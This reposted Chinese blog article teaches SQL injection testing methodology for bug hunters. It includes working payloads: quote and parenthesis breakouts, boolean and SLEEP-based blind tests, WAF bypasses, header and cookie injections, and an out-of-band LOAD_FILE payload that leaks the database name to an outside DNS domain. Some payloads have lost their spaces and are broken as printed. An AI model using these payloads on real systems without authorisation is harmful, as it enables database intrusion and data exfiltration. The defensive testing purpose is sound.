如何不再纠结单引号,并真正打破SQL语法(SQL注入)

admin 2026-04-16 04:09:05 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文通过作者亲身经历揭示SQL注入的本质是破坏查询结构而非依赖单引号测试。核心观点包括:需根据查询类型(数值型、字符型、括号包裹等)采用数学表达式、引号家族、括号闭合等差异化攻击手法;强调通过布尔盲注、时间盲注、OOB外带等技术确认漏洞,并列出WAF绕过技巧及GET/POST/HTTP头等全路径测试点。建议安全人员摆脱单一引号测试思维,建立系统化测试清单。 综合评分: 85 文章分类: WEB安全,渗透测试,漏洞分析,安全工具,实战经验


cover_image

如何不再纠结单引号,并真正打破 SQL 语法(SQL 注入)

haidragon haidragon

安全狗的自我修养

2026年4月13日 16:06 湖南

在小说阅读器读本章

去阅读

官网:http://securitytech.cc

#

#

那一天我意识到:' 根本不够

我在测试一个接口。

发了一个单引号 → 200 OK 再发一个 → 200 OK

没有报错,没有变化。

我就放弃了。

几天后,另一个漏洞猎人在同一个接口上提交了一个严重的 SQL 注入漏洞:

) OR1=1--

那一刻我才明白:

👉 我只带了一颗子弹,而他带了一整弹夹。


错误的思维(大多数新手都会犯)

“发个 ' → 有报错 → SQL注入 没报错 → 没漏洞”

这就像你只用“推门”来判断门有没有锁。

👉 那如果门是要拉的呢? 👉 或者根本没有门,是窗户呢?


关键理解

👉 SQL 注入不是关于引号,而是关于破坏查询结构

一旦你理解了开发者写的 SQL 长什么样:

👉 你就知道该怎么“破坏它”


黄金法则(记住这一句)

👉 破坏语法结构,而不是只依赖引号


举例

开发者写:

WHERE id = $input

👉 ' 没用

但:

5-2

👉 就能改变逻辑


再比如:

WHERE username ='$input'

👉 ' 可以破坏


再比如:

WHERE id = ($input)

👉 你需要先闭合:

)

👉 结论:查询结构决定攻击方式


我的实际测试流程

我现在不再从 ' 开始


1️⃣ 先试“数学表达式”

如果参数是数字:

?id=123

测试:

?id=123-0
?id=123-1

👉 结果一样 → 可能没问题 👉 结果不同 → 数值型 SQL 注入


2️⃣ 引号家族

如果数学没用,试:

'
"
`
  • '

    → 常见

  • "

    → Oracle等

  • `

    → MySQL(少见)


3️⃣ 括号(隐藏神器)

很多查询是:

WHERE id = ('$input')

👉 单引号可能被吞掉

试:

') OR 1=1 --

👉 直接突破


4️⃣ 反斜杠(容易被忽略)

有些开发会转义:

' → \'

但你输入:

\'

👉 会变成:

\\' → \' → 引号重新生效

5️⃣ 百分号(LIKE 查询)

如果是搜索功能:

WHERE name LIKE'%$input%'

测试:

%
a%

👉 返回更多数据 → 信息泄露


“200 OK”的陷阱

很多人会被骗:

发送 ' → 返回 200 OK

👉 就以为没有漏洞 ❌


实际可能是:

  • WAF 过滤了
  • 错误被隐藏
  • 是盲注(没有明显反馈)

如何确认(关键)


1️⃣ 布尔盲注

?id=1AND1=1
?id=1AND1=2

👉 比较结果:

  • 内容不同
  • 长度不同

👉 就是 SQL 注入


2️⃣ 时间盲注

?id=1AND SLEEP(5)

👉 响应变慢 → 存在漏洞


3️⃣ OOB(外带)

如果 WAF 很强:

' AND LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.your.com\\a')) --

👉 如果你的 DNS 收到请求 → 确认漏洞


WAF 绕过技巧


大小写混淆

SeLeCt
UnIoN

双重 URL 编码

' → %2527

重查询(无 sleep)

SELECTCOUNT(*) FROM information_schema.tables t1, t2

👉 利用计算耗时


OOB(最强)

👉 不依赖 sleep / union


不同 SQL 语句,不同打法


SELECT(最简单)

👉 可直接回显数据


INSERT(隐蔽)

👉 可以:

  • 制造错误
  • 二次注入

UPDATE(盲注)

email = test' AND SLEEP(5) --

DELETE(危险)

👉 用 OOB,不要真删数据


注入点不止 URL 参数

你应该测试:


1️⃣ GET 参数

?username=abc'--

2️⃣ POST 参数

value'--

3️⃣ HTTP 头

X-Forwarded-For: 127.0.0.1' AND SLEEP(100)--

4️⃣ URL 路径

/user/123' AND SLEEP(5)--

5️⃣ 所有输入框

  • 搜索
  • 评论
  • 表单

6️⃣ Cookie

session=abc' AND SLEEP(5)--

SQL 注入类型总结

  • 错误型 → 直接报错
  • 布尔盲注 → 内容变化
  • 时间盲注 → 延迟
  • OOB → DNS/HTTP 回连

👉 每种都要用不同方法测试


我的检查清单

在判断“无漏洞”之前,我会确认:

  • 是否测试了数值运算?
  • 是否试过 ' " ) `?
  • 是否测试了 AND 1=1 / 1=2
  • 是否尝试时间延迟?
  • 是否测试 JSON/XML?

👉 这些都试过才放弃


最后的建议

👉 不要把 SQL 注入当成“引号游戏”

👉 要像开发者一样思考:

  • SQL 是怎么写的?
  • 怎么破坏它?

核心一句话

👉 ' 只是键盘上的一个键

👉 你还有很多武器

👉 用它们

👉 到处测试

👉 破坏语法

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《如何不再纠结单引号,并真正打破 SQL 语法(SQL 注入)》

评论:0   参与:  0